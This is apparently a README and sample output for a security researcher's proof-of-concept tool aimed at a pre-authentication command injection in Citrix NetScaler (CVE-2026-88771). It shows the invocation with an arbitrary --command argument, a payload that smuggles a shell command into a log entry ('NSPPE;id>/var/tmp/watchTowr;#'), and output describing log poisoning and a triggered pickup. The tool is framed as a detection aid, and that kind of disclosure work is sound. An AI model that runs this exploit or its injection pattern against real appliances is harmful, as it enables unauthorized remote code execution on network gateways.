Detection Artifact Generator for Citrix NetScaler CVE-2026-88771
See our blog post for technical details.
./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://netscaler.local/ --command 'id>/var/tmp/watchTowr'
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
(*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-88771]
[+] connected to https://netscaler.local/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done
it might take up to 24 hours for the command to get picked up Also, the force pickup technique is not included
All NetScaler ADC and NetScaler Gateway deployments (Default configuration / No additional feature required)
Refer to Citrix official advisory for a list of affected versions.
Follow watchTowr Labs
For the latest security research follow the watchTowr Labs Team